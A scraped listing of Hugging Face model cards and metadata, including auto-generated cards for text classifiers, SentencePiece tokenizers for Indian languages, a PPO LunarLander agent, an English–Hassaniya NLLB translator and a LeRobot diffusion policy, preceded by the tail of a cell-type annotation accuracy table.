| myeloid dendritic cell | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| pulmonary ionocyte | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| mesothelial cell | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| plasmacytoid dendritic cell | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| serous cell of epithelium of bronchus | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
| mast cell | 0 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 |
The train accuracies are computed on the training data.
| Cell Type | N cells | celltypist | knn bbknn | knn harmony | knn on scvi | onclass | scanvi | svm | xgboost | Consensus Prediction |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| macrophage | 14833 | 0.96 | 0.98 | 0.97 | 0.98 | 0.00 | 0.95 | 0.97 | 0.96 | 0.98 |
| pulmonary alveolar type 2 cell | 10436 | 0.97 | 0.97 | 0.98 | 0.98 | 0.00 | 0.95 | 0.97 | 0.97 | 0.98 |
| capillary endothelial cell | 6474 | 0.96 | 0.96 | 0.97 | 0.97 | 0.00 | 0.97 | 0.96 | 0.97 | 0.98 |
| basal cell | 3605 | 0.93 | 0.94 | 0.94 | 0.94 | 0.00 | 0.91 | 0.95 | 0.95 | 0.96 |
| pulmonary alveolar type 1 cell | 2824 | 0.96 | 0.98 | 0.96 | 0.97 | 0.00 | 0.98 | 0.98 | 0.97 | 0.98 |
| intermediate monocyte | 2493 | 0.61 | 0.68 | 0.75 | 0.74 | 0.00 | 0.73 | 0.83 | 0.88 | 0.83 |
| CD4-positive, alpha-beta T cell | 1903 | 0.87 | 0.89 | 0.87 | 0.89 | 0.00 | 0.89 | 0.90 | 0.92 | 0.92 |
| CD8-positive, alpha-beta T cell | 1717 | 0.86 | 0.87 | 0.85 | 0.86 | 0.00 | 0.87 | 0.87 | 0.90 | 0.90 |
| endothelial cell of artery | 1584 | 0.76 | 0.81 | 0.83 | 0.82 | 0.00 | 0.83 | 0.82 | 0.83 | 0.85 |
| club cell | 1578 | 0.81 | 0.84 | 0.89 | 0.87 | 0.00 | 0.76 | 0.86 | 0.86 | 0.89 |
| classical monocyte | 1428 | 0.59 | 0.61 | 0.66 | 0.65 | 0.00 | 0.74 | 0.83 | 0.93 | 0.82 |
| basophil | 1193 | 0.98 | 0.98 | 0.99 | 0.99 | 0.00 | 0.98 | 0.98 | 0.98 | 0.99 |
| vein endothelial cell | 1187 | 0.79 | 0.83 | 0.85 | 0.84 | 0.00 | 0.84 | 0.86 | 0.88 | 0.87 |
| lung ciliated cell | 1075 | 0.96 | 0.97 | 0.98 | 0.98 | 0.00 | 0.97 | 0.98 | 0.97 | 0.98 |
| alveolar adventitial fibroblast | 1002 | 0.88 | 0.86 | 0.86 | 0.90 | 0.00 | 0.94 | 0.97 | 0.96 | 0.95 |
| respiratory goblet cell | 937 | 0.83 | 0.87 | 0.87 | 0.85 | 0.00 | 0.76 | 0.88 | 0.88 | 0.90 |
| natural killer cell | 928 | 0.91 | 0.92 | 0.91 | 0.92 | 0.00 | 0.92 | 0.95 | 0.96 | 0.96 |
| pericyte | 681 | 0.81 | 0.89 | 0.92 | 0.92 | 0.00 | 0.94 | 0.97 | 0.97 | 0.97 |
| B cell | 596 | 0.97 | 0.96 | 0.97 | 0.97 | 0.00 | 0.98 | 0.99 | 0.99 | 0.99 |
| adventitial cell | 533 | 0.81 | 0.82 | 0.79 | 0.82 | 0.00 | 0.90 | 0.96 | 0.96 | 0.93 |
| non-classical monocyte | 469 | 0.26 | 0.12 | 0.24 | 0.17 | 0.00 | 0.38 | 0.72 | 0.79 | 0.63 |
| monocyte | 464 | 0.42 | 0.33 | 0.50 | 0.48 | 0.00 | 0.62 | 0.78 | 0.87 | 0.75 |
| neutrophil | 338 | 0.95 | 0.97 | 0.96 | 0.95 | 0.00 | 0.96 | 0.97 | 0.95 | 0.99 |
| endothelial cell of lymphatic vessel | 285 | 0.98 | 0.98 | 0.97 | 0.96 | 0.00 | 0.97 | 0.99 | 0.99 | 0.98 |
| bronchial smooth muscle cell | 201 | 0.52 | 0.59 | 0.67 | 0.58 | 0.00 | 0.79 | 0.93 | 0.95 | 0.92 |
| mature NK T cell | 146 | 0.35 | 0.19 | 0.38 | 0.33 | 0.00 | 0.64 | 0.80 | 0.88 | 0.86 |
| plasma cell | 139 | 0.75 | 0.85 | 0.89 | 0.95 | 0.00 | 0.94 | 0.96 | 0.95 | 0.94 |
| vascular associated smooth muscle cell | 113 | 0.44 | 0.63 | 0.74 | 0.61 | 0.00 | 0.84 | 0.94 | 0.96 | 0.93 |
| myeloid dendritic cell | 29 | 0.00 | 0.12 | 0.76 | 0.60 | 0.00 | 0.65 | 0.87 | 0.97 | 0.95 |
| pulmonary ionocyte | 23 | 0.00 | 0.89 | 0.88 | 0.67 | 0.00 | 0.71 | 0.92 | 0.90 | 0.96 |
| mesothelial cell | 17 | 0.36 | 0.71 | 0.74 | 0.77 | 0.00 | 0.47 | 0.85 | 0.87 | 0.74 |
| plasmacytoid dendritic cell | 15 | 0.97 | 0.00 | 1.00 | 0.94 | 0.00 | 0.65 | 1.00 | 1.00 | 1.00 |
| serous cell of epithelium of bronchus | 13 | 0.00 | 0.38 | 0.00 | 0.38 | 0.00 | 0.28 | 0.79 | 0.93 | 0.63 |
| mast cell | 3 | 0.00 | 0.00 | 0.00 | 0.00 | 0.00 | 0.30 | 1.00 | 0.75 | 0.80 |
</details>
# References
Tabula Sapiens reveals transcription factor expression, senescence effects, and sex-specific features in cell types from 28 human organs and tissues, The Tabula Sapiens Consortium; bioRxiv, doi: https://doi.org/10.1101/2024.12.03.626516
|
BFCmath/xlmr-vinli-finetune_finetuned
|
BFCmath
| 2025-09-23T15:49:37Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"xlm-roberta",
"text-classification",
"generated_from_trainer",
"base_model:lyle49/xlmr-vinli-finetune",
"base_model:finetune:lyle49/xlmr-vinli-finetune",
"license:mit",
"autotrain_compatible",
"endpoints_compatible",
"region:us"
] |
text-classification
| 2025-09-23T14:58:15Z |
---
library_name: transformers
license: mit
base_model: lyle49/xlmr-vinli-finetune
tags:
- generated_from_trainer
metrics:
- accuracy
model-index:
- name: xlmr-vinli-finetune_finetuned
results: []
---
<!-- This model card has been generated automatically according to the information the Trainer had access to. You
should probably proofread and complete it, then remove this comment. -->
# xlmr-vinli-finetune_finetuned
This model is a fine-tuned version of [lyle49/xlmr-vinli-finetune](https://huggingface.co/lyle49/xlmr-vinli-finetune) on the None dataset.
It achieves the following results on the evaluation set:
- Loss: 0.7057
- Accuracy: 0.7664
- F1 Macro: 0.7681
## Model description
More information needed
## Intended uses & limitations
More information needed
## Training and evaluation data
More information needed
## Training procedure
### Training hyperparameters
The following hyperparameters were used during training:
- learning_rate: 2e-05
- train_batch_size: 32
- eval_batch_size: 32
- seed: 42
- optimizer: Use OptimizerNames.ADAMW_TORCH with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments
- lr_scheduler_type: linear
- lr_scheduler_warmup_steps: 100
- num_epochs: 20
### Training results
| Training Loss | Epoch | Step | Validation Loss | Accuracy | F1 Macro |
|:-------------:|:-----:|:----:|:---------------:|:--------:|:--------:|
| 0.7981 | 1.0 | 175 | 0.7080 | 0.7214 | 0.7243 |
| 0.6215 | 2.0 | 350 | 0.6871 | 0.7429 | 0.7403 |
| 0.499 | 3.0 | 525 | 0.7057 | 0.7664 | 0.7681 |
| 0.3883 | 4.0 | 700 | 0.7750 | 0.7529 | 0.7542 |
| 0.333 | 5.0 | 875 | 0.8505 | 0.7443 | 0.7439 |
### Framework versions
- Transformers 4.52.4
- Pytorch 2.6.0+cu124
- Datasets 3.6.0
- Tokenizers 0.21.2
|
joesharratt29/cgt_qwen4b
|
joesharratt29
| 2025-09-23T15:47:48Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"qwen3",
"text-generation",
"conversational",
"arxiv:1910.09700",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-23T15:45:51Z |
---
library_name: transformers
tags: []
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated.
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
<!-- Provide the basic links for the model. -->
- **Repository:** [More Information Needed]
- **Paper [optional]:** [More Information Needed]
- **Demo [optional]:** [More Information Needed]
## Uses
<!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. -->
### Direct Use
<!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. -->
[More Information Needed]
### Downstream Use [optional]
<!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app -->
[More Information Needed]
### Out-of-Scope Use
<!-- This section addresses misuse, malicious use, and uses that the model will not work well for. -->
[More Information Needed]
## Bias, Risks, and Limitations
<!-- This section is meant to convey both technical and sociotechnical limitations. -->
[More Information Needed]
### Recommendations
<!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. -->
Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations.
## How to Get Started with the Model
Use the code below to get started with the model.
[More Information Needed]
## Training Details
### Training Data
<!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. -->
[More Information Needed]
### Training Procedure
<!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. -->
#### Preprocessing [optional]
[More Information Needed]
#### Training Hyperparameters
- **Training regime:** [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision -->
#### Speeds, Sizes, Times [optional]
<!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. -->
[More Information Needed]
## Evaluation
<!-- This section describes the evaluation protocols and provides the results. -->
### Testing Data, Factors & Metrics
#### Testing Data
<!-- This should link to a Dataset Card if possible. -->
[More Information Needed]
#### Factors
<!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. -->
[More Information Needed]
#### Metrics
<!-- These are the evaluation metrics being used, ideally with a description of why. -->
[More Information Needed]
### Results
[More Information Needed]
#### Summary
## Model Examination [optional]
<!-- Relevant interpretability work for the model goes here -->
[More Information Needed]
## Environmental Impact
<!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly -->
Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700).
- **Hardware Type:** [More Information Needed]
- **Hours used:** [More Information Needed]
- **Cloud Provider:** [More Information Needed]
- **Compute Region:** [More Information Needed]
- **Carbon Emitted:** [More Information Needed]
## Technical Specifications [optional]
### Model Architecture and Objective
[More Information Needed]
### Compute Infrastructure
[More Information Needed]
#### Hardware
[More Information Needed]
#### Software
[More Information Needed]
## Citation [optional]
<!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. -->
**BibTeX:**
[More Information Needed]
**APA:**
[More Information Needed]
## Glossary [optional]
<!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. -->
[More Information Needed]
## More Information [optional]
[More Information Needed]
## Model Card Authors [optional]
[More Information Needed]
## Model Card Contact
[More Information Needed]
|
aayush7511/cleaned_context_all_sentences
|
aayush7511
| 2025-09-23T15:45:22Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"bert",
"text-classification",
"generated_from_trainer",
"base_model:google-bert/bert-base-uncased",
"base_model:finetune:google-bert/bert-base-uncased",
"license:apache-2.0",
"autotrain_compatible",
"endpoints_compatible",
"region:us"
] |
text-classification
| 2025-09-23T15:44:45Z |
---
library_name: transformers
license: apache-2.0
base_model: google-bert/bert-base-uncased
tags:
- generated_from_trainer
metrics:
- accuracy
- precision
- recall
model-index:
- name: cleaned_context_all_sentences
results: []
---
<!-- This model card has been generated automatically according to the information the Trainer had access to. You
should probably proofread and complete it, then remove this comment. -->
# cleaned_context_all_sentences
This model is a fine-tuned version of [google-bert/bert-base-uncased](https://huggingface.co/google-bert/bert-base-uncased) on an unknown dataset.
It achieves the following results on the evaluation set:
- Loss: 0.3971
- Accuracy: 0.847
- Auc: 0.774
- Precision: 0.667
- Recall: 0.296
## Model description
More information needed
## Intended uses & limitations
More information needed
## Training and evaluation data
More information needed
## Training procedure
### Training hyperparameters
The following hyperparameters were used during training:
- learning_rate: 0.0002
- train_batch_size: 8
- eval_batch_size: 8
- seed: 42
- optimizer: Use OptimizerNames.ADAMW_TORCH_FUSED with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments
- lr_scheduler_type: linear
- num_epochs: 10
### Training results
| Training Loss | Epoch | Step | Validation Loss | Accuracy | Auc | Precision | Recall |
|:-------------:|:-----:|:----:|:---------------:|:--------:|:-----:|:---------:|:------:|
| 0.4744 | 1.0 | 321 | 0.4293 | 0.833 | 0.712 | 0.7 | 0.122 |
| 0.4415 | 2.0 | 642 | 0.4169 | 0.824 | 0.745 | 0.533 | 0.139 |
| 0.4278 | 3.0 | 963 | 0.4276 | 0.833 | 0.745 | 0.722 | 0.113 |
| 0.4106 | 4.0 | 1284 | 0.4071 | 0.844 | 0.761 | 0.653 | 0.278 |
| 0.4081 | 5.0 | 1605 | 0.4005 | 0.844 | 0.763 | 0.623 | 0.33 |
| 0.4073 | 6.0 | 1926 | 0.3974 | 0.841 | 0.766 | 0.633 | 0.27 |
| 0.3931 | 7.0 | 2247 | 0.3953 | 0.849 | 0.774 | 0.705 | 0.27 |
| 0.3919 | 8.0 | 2568 | 0.3965 | 0.849 | 0.769 | 0.661 | 0.322 |
| 0.3862 | 9.0 | 2889 | 0.4061 | 0.842 | 0.773 | 0.706 | 0.209 |
| 0.3794 | 10.0 | 3210 | 0.3971 | 0.847 | 0.774 | 0.667 | 0.296 |
### Framework versions
- Transformers 4.55.4
- Pytorch 2.8.0
- Datasets 4.0.0
- Tokenizers 0.21.4
|
bita-rhz/ppo-LunarLander-v2
|
bita-rhz
| 2025-09-23T15:44:54Z | 0 | 0 |
stable-baselines3
|
[
"stable-baselines3",
"LunarLander-v2",
"deep-reinforcement-learning",
"reinforcement-learning",
"model-index",
"region:us"
] |
reinforcement-learning
| 2025-09-23T15:41:50Z |
---
library_name: stable-baselines3
tags:
- LunarLander-v2
- deep-reinforcement-learning
- reinforcement-learning
- stable-baselines3
model-index:
- name: PPO
results:
- task:
type: reinforcement-learning
name: reinforcement-learning
dataset:
name: LunarLander-v2
type: LunarLander-v2
metrics:
- type: mean_reward
value: 260.71 +/- 21.21
name: mean_reward
verified: false
---
# **PPO** Agent playing **LunarLander-v2**
This is a trained model of a **PPO** agent playing **LunarLander-v2**
using the [stable-baselines3 library](https://github.com/DLR-RM/stable-baselines3).
## Usage (with Stable-baselines3)
TODO: Add your code
```python
from stable_baselines3 import ...
from huggingface_sb3 import load_from_hub
...
```
|
Sai5480/monolingual-tokenizer-native-san-vocab-128000
|
Sai5480
| 2025-09-23T15:42:06Z | 0 | 0 | null |
[
"sentencepiece",
"tokenizer",
"monolingual",
"san",
"vocab-128000",
"license:mit",
"region:us"
] | null | 2025-09-23T15:41:55Z |
---
license: mit
tags:
- tokenizer
- sentencepiece
- monolingual
- san
- vocab-128000
---
# Monolingual Tokenizer - Sanskrit (Vocab 128000)
This is a monolingual tokenizer trained on Sanskrit text with vocabulary size 128000.
## Usage
```python
from transformers import AutoTokenizer
tokenizer = AutoTokenizer.from_pretrained("monolingual-tokenizer-native-san-vocab-128000")
```
## Files
- `san.model`: SentencePiece model file
- `san.vocab`: Vocabulary file
- `config.json`: Tokenizer configuration
## Training Details
- Language: Sanskrit (san)
- Vocabulary Size: 128000
- Model Type: SentencePiece Unigram
|
Sai5480/monolingual-tokenizer-native-mar-vocab-128000
|
Sai5480
| 2025-09-23T15:41:19Z | 0 | 0 | null |
[
"sentencepiece",
"tokenizer",
"monolingual",
"mar",
"vocab-128000",
"license:mit",
"region:us"
] | null | 2025-09-23T15:41:08Z |
---
license: mit
tags:
- tokenizer
- sentencepiece
- monolingual
- mar
- vocab-128000
---
# Monolingual Tokenizer - Marathi (Vocab 128000)
This is a monolingual tokenizer trained on Marathi text with vocabulary size 128000.
## Usage
```python
from transformers import AutoTokenizer
tokenizer = AutoTokenizer.from_pretrained("monolingual-tokenizer-native-mar-vocab-128000")
```
## Files
- `mar.model`: SentencePiece model file
- `mar.vocab`: Vocabulary file
- `config.json`: Tokenizer configuration
## Training Details
- Language: Marathi (mar)
- Vocabulary Size: 128000
- Model Type: SentencePiece Unigram
|
Sai5480/monolingual-tokenizer-native-mai-vocab-128000
|
Sai5480
| 2025-09-23T15:40:54Z | 0 | 0 | null |
[
"sentencepiece",
"tokenizer",
"monolingual",
"mai",
"vocab-128000",
"license:mit",
"region:us"
] | null | 2025-09-23T15:40:44Z |
---
license: mit
tags:
- tokenizer
- sentencepiece
- monolingual
- mai
- vocab-128000
---
# Monolingual Tokenizer - Maithili (Vocab 128000)
This is a monolingual tokenizer trained on Maithili text with vocabulary size 128000.
## Usage
```python
from transformers import AutoTokenizer
tokenizer = AutoTokenizer.from_pretrained("monolingual-tokenizer-native-mai-vocab-128000")
```
## Files
- `mai.model`: SentencePiece model file
- `mai.vocab`: Vocabulary file
- `config.json`: Tokenizer configuration
## Training Details
- Language: Maithili (mai)
- Vocabulary Size: 128000
- Model Type: SentencePiece Unigram
|
Sai5480/monolingual-tokenizer-native-hin-vocab-128000
|
Sai5480
| 2025-09-23T15:40:30Z | 0 | 0 | null |
[
"sentencepiece",
"tokenizer",
"monolingual",
"hin",
"vocab-128000",
"license:mit",
"region:us"
] | null | 2025-09-23T15:40:17Z |
---
license: mit
tags:
- tokenizer
- sentencepiece
- monolingual
- hin
- vocab-128000
---
# Monolingual Tokenizer - Hindi (Vocab 128000)
This is a monolingual tokenizer trained on Hindi text with vocabulary size 128000.
## Usage
```python
from transformers import AutoTokenizer
tokenizer = AutoTokenizer.from_pretrained("monolingual-tokenizer-native-hin-vocab-128000")
```
## Files
- `hin.model`: SentencePiece model file
- `hin.vocab`: Vocabulary file
- `config.json`: Tokenizer configuration
## Training Details
- Language: Hindi (hin)
- Vocabulary Size: 128000
- Model Type: SentencePiece Unigram
|
Sai5480/monolingual-tokenizer-native-guj-vocab-128000
|
Sai5480
| 2025-09-23T15:40:16Z | 0 | 0 | null |
[
"sentencepiece",
"tokenizer",
"monolingual",
"guj",
"vocab-128000",
"license:mit",
"region:us"
] | null | 2025-09-23T15:40:02Z |
---
license: mit
tags:
- tokenizer
- sentencepiece
- monolingual
- guj
- vocab-128000
---
# Monolingual Tokenizer - Gujarati (Vocab 128000)
This is a monolingual tokenizer trained on Gujarati text with vocabulary size 128000.
## Usage
```python
from transformers import AutoTokenizer
tokenizer = AutoTokenizer.from_pretrained("monolingual-tokenizer-native-guj-vocab-128000")
```
## Files
- `guj.model`: SentencePiece model file
- `guj.vocab`: Vocabulary file
- `config.json`: Tokenizer configuration
## Training Details
- Language: Gujarati (guj)
- Vocabulary Size: 128000
- Model Type: SentencePiece Unigram
|
Sai5480/monolingual-tokenizer-native-gom-vocab-128000
|
Sai5480
| 2025-09-23T15:40:01Z | 0 | 0 | null |
[
"sentencepiece",
"tokenizer",
"monolingual",
"gom",
"vocab-128000",
"license:mit",
"region:us"
] | null | 2025-09-23T15:39:52Z |
---
license: mit
tags:
- tokenizer
- sentencepiece
- monolingual
- gom
- vocab-128000
---
# Monolingual Tokenizer - Konkani (Vocab 128000)
This is a monolingual tokenizer trained on Konkani text with vocabulary size 128000.
## Usage
```python
from transformers import AutoTokenizer
tokenizer = AutoTokenizer.from_pretrained("monolingual-tokenizer-native-gom-vocab-128000")
```
## Files
- `gom.model`: SentencePiece model file
- `gom.vocab`: Vocabulary file
- `config.json`: Tokenizer configuration
## Training Details
- Language: Konkani (gom)
- Vocabulary Size: 128000
- Model Type: SentencePiece Unigram
|
Sai5480/monolingual-tokenizer-native-asm-vocab-128000
|
Sai5480
| 2025-09-23T15:39:36Z | 0 | 0 | null |
[
"sentencepiece",
"tokenizer",
"monolingual",
"asm",
"vocab-128000",
"license:mit",
"region:us"
] | null | 2025-09-23T15:39:23Z |
---
license: mit
tags:
- tokenizer
- sentencepiece
- monolingual
- asm
- vocab-128000
---
# Monolingual Tokenizer - Assamese (Vocab 128000)
This is a monolingual tokenizer trained on Assamese text with vocabulary size 128000.
## Usage
```python
from transformers import AutoTokenizer
tokenizer = AutoTokenizer.from_pretrained("monolingual-tokenizer-native-asm-vocab-128000")
```
## Files
- `asm.model`: SentencePiece model file
- `asm.vocab`: Vocabulary file
- `config.json`: Tokenizer configuration
## Training Details
- Language: Assamese (asm)
- Vocabulary Size: 128000
- Model Type: SentencePiece Unigram
|
thefirstgoku/23SEP_inter_v32_4
|
thefirstgoku
| 2025-09-23T15:35:16Z | 0 | 0 | null |
[
"safetensors",
"any-to-any",
"omega",
"omegalabs",
"bittensor",
"agi",
"license:mit",
"region:us"
] |
any-to-any
| 2025-09-23T15:34:37Z |
---
license: mit
tags:
- any-to-any
- omega
- omegalabs
- bittensor
- agi
---
This is an Any-to-Any model checkpoint for the OMEGA Labs x Bittensor Any-to-Any subnet.
Check out the [git repo](https://github.com/omegalabsinc/omegalabs-anytoany-bittensor) and find OMEGA on X: [@omegalabsai](https://x.com/omegalabsai).
|
Sandraxx996699/SandraxxDz
|
Sandraxx996699
| 2025-09-23T15:30:52Z | 0 | 0 | null |
[
"license:other",
"region:us"
] | null | 2025-09-23T14:44:02Z |
---
license: other
license_name: flux-1-dev-non-commercial-license
license_link: https://huggingface.co/black-forest-labs/FLUX.1-dev/blob/main/LICENSE.md
---
|
vectorzhou/gemma-2-2b-it-alpaca-cleaned-SFT-PKU-SafeRLHF-OMWU-1.0-mnt64-0922195515-epoch-8
|
vectorzhou
| 2025-09-23T15:30:07Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"gemma2",
"text-generation",
"generated_from_trainer",
"fine-tuned",
"trl",
"extra-gradient",
"conversational",
"dataset:PKU-Alignment/PKU-SafeRLHF",
"arxiv:2503.08942",
"base_model:vectorzhou/gemma-2-2b-it-alpaca-cleaned-SFT",
"base_model:finetune:vectorzhou/gemma-2-2b-it-alpaca-cleaned-SFT",
"autotrain_compatible",
"text-generation-inference",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-23T14:16:27Z |
---
base_model: vectorzhou/gemma-2-2b-it-alpaca-cleaned-SFT
datasets: PKU-Alignment/PKU-SafeRLHF
library_name: transformers
model_name: gemma-2-2b-it-alpaca-cleaned-SFT-PKU-SafeRLHF-OMWU-1.0-mnt64
tags:
- generated_from_trainer
- text-generation
- fine-tuned
- trl
- extra-gradient
licence: license
---
# Model Card for gemma-2-2b-it-alpaca-cleaned-SFT-PKU-SafeRLHF-OMWU-1.0-mnt64
This model is a fine-tuned version of [vectorzhou/gemma-2-2b-it-alpaca-cleaned-SFT](https://huggingface.co/vectorzhou/gemma-2-2b-it-alpaca-cleaned-SFT) on the [PKU-Alignment/PKU-SafeRLHF](https://huggingface.co/datasets/PKU-Alignment/PKU-SafeRLHF) dataset.
It has been trained using [TRL](https://github.com/huggingface/trl).
## Quick start
```python
from transformers import pipeline
question = "If you had a time machine, but could only go to the past or the future once and never return, which would you choose and why?"
generator = pipeline("text-generation", model="vectorzhou/gemma-2-2b-it-alpaca-cleaned-SFT-PKU-SafeRLHF-OMWU-1.0-mnt64-0922195515-epoch-8", device="cuda")
output = generator([{"role": "user", "content": question}], max_new_tokens=128, return_full_text=False)[0]
print(output["generated_text"])
```
## Training procedure
[<img src="https://raw.githubusercontent.com/wandb/assets/main/wandb-github-badge-28.svg" alt="Visualize in Weights & Biases" width="150" height="24"/>](https://wandb.ai/zrl_csl_nlhf/nlhf/runs/6kinw4fn)
This model was trained with Extragradient, a method introduced in [Extragradient Preference Optimization (EGPO): Beyond Last-Iterate Convergence for Nash Learning from Human Feedback](https://huggingface.co/papers/2503.08942).
### Framework versions
- TRL: 0.23.0
- Transformers: 4.56.2
- Pytorch: 2.8.0+cu128
- Datasets: 4.1.1
- Tokenizers: 0.22.1
## Citations
Cite Extragradient as:
```bibtex
@misc{zhou2025extragradientpreferenceoptimizationegpo,
title={Extragradient Preference Optimization (EGPO): Beyond Last-Iterate Convergence for Nash Learning from Human Feedback},
author={Runlong Zhou and Maryam Fazel and Simon S. Du},
year={2025},
eprint={2503.08942},
archivePrefix={arXiv},
primaryClass={cs.LG},
url={https://arxiv.org/abs/2503.08942},
}
```
Cite TRL as:
```bibtex
@misc{vonwerra2022trl,
title = {{TRL: Transformer Reinforcement Learning}},
author = {Leandro von Werra and Younes Belkada and Lewis Tunstall and Edward Beeching and Tristan Thrush and Nathan Lambert and Shengyi Huang and Kashif Rasul and Quentin Gallou{\'e}dec},
year = 2020,
journal = {GitHub repository},
publisher = {GitHub},
howpublished = {\url{https://github.com/huggingface/trl}}
}
```
|
kelSidenna/nllb-eng-ha-v0
|
kelSidenna
| 2025-09-23T15:28:04Z | 0 | 1 |
transformers
|
[
"transformers",
"safetensors",
"m2m_100",
"text2text-generation",
"translation",
"nllb",
"hassaniya",
"english",
"base_model:facebook/nllb-200-distilled-600M",
"base_model:finetune:facebook/nllb-200-distilled-600M",
"endpoints_compatible",
"region:us"
] |
translation
| 2025-09-23T14:49:44Z |
---
library_name: transformers
base_model:
- facebook/nllb-200-distilled-600M
pipeline_tag: translation
tags:
- translation
- nllb
- hassaniya
- english
widget:
- text: "I want some money."
- text: "ما نبغي كافة"
---
# Model Card for Model ID
This model is a fine-tuned version of **facebook/nllb-200-distilled-600M** for **machine translation between English (eng) and Hassaniya Arabic (ha-ar)**.
It was trained on a dataset of English ↔ Hassaniya sentences.
```python
from transformers import AutoTokenizer, AutoModelForSeq2SeqLM
model_name = "kelSidenna/nllb-eng-ha-v0"
tokenizer = AutoTokenizer.from_pretrained(model_name)
model = AutoModelForSeq2SeqLM.from_pretrained(model_name)
text = "How are you?"
tokenizer.src_lang = "en"
inputs = tokenizer(text, return_tensors="pt")
translated_tokens = model.generate(
**inputs,
forced_bos_token_id=tokenizer.convert_tokens_to_ids("ha-ar")
)
print(tokenizer.batch_decode(translated_tokens, skip_special_tokens=True))
|
hi-paris/CosyVoice2-EU
|
hi-paris
| 2025-09-23T15:26:25Z | 0 | 0 | null |
[
"license:apache-2.0",
"region:us"
] | null | 2025-09-23T15:26:25Z |
---
license: apache-2.0
---
|
leledeyuan/pusht500k
|
leledeyuan
| 2025-09-23T15:24:14Z | 9 | 0 |
lerobot
|
[
"lerobot",
"safetensors",
"diffusion",
"robotics",
"dataset:leledeyuan/pusht-revise",
"arxiv:2303.04137",
"license:apache-2.0",
"region:us"
] |
robotics
| 2025-09-19T04:57:06Z |
---
datasets: leledeyuan/pusht-revise
library_name: lerobot
license: apache-2.0
model_name: diffusion
pipeline_tag: robotics
tags:
- diffusion
- lerobot
- robotics
---
# Model Card for diffusion
<!-- Provide a quick summary of what the model is/does. -->
[Diffusion Policy](https://huggingface.co/papers/2303.04137) treats visuomotor control as a generative diffusion process, producing smooth, multi-step action trajectories that excel at contact-rich manipulation.
This policy has been trained and pushed to the Hub using [LeRobot](https://github.com/huggingface/lerobot).
See the full documentation at [LeRobot Docs](https://huggingface.co/docs/lerobot/index).
---
## How to Get Started with the Model
For a complete walkthrough, see the [training guide](https://huggingface.co/docs/lerobot/il_robots#train-a-policy).
Below is the short version on how to train and run inference/eval:
### Train from scratch
```bash
lerobot-train \
--dataset.repo_id=${HF_USER}/<dataset> \
--policy.type=act \
--output_dir=outputs/train/<desired_policy_repo_id> \
--job_name=lerobot_training \
--policy.device=cuda \
--policy.repo_id=${HF_USER}/<desired_policy_repo_id>
--wandb.enable=true
```
_Writes checkpoints to `outputs/train/<desired_policy_repo_id>/checkpoints/`._
### Evaluate the policy/run inference
```bash
lerobot-record \
--robot.type=so100_follower \
--dataset.repo_id=<hf_user>/eval_<dataset> \
--policy.path=<hf_user>/<desired_policy_repo_id> \
--episodes=10
```
Prefix the dataset repo with **eval\_** and supply `--policy.path` pointing to a local or hub checkpoint.
---
## Model Details
- **License:** apache-2.0
|
MuHesham/wav2vec2-large-mms-1b-EGY
|
MuHesham
| 2025-09-23T15:19:53Z | 0 | 0 |
transformers
|
[
"transformers",
"tensorboard",
"safetensors",
"wav2vec2",
"automatic-speech-recognition",
"arxiv:1910.09700",
"endpoints_compatible",
"region:us"
] |
automatic-speech-recognition
| 2025-09-23T12:18:22Z |
---
library_name: transformers
tags: []
---
# Model Card for Model ID
<!-- Provide a quick summary of what the model is/does. -->
## Model Details
### Model Description
<!-- Provide a longer summary of what this model is. -->
This is the model card of a 🤗 transformers model that has been pushed on the Hub. This model card has been automatically generated.
- **Developed by:** [More Information Needed]
- **Funded by [optional]:** [More Information Needed]
- **Shared by [optional]:** [More Information Needed]
- **Model type:** [More Information Needed]
- **Language(s) (NLP):** [More Information Needed]
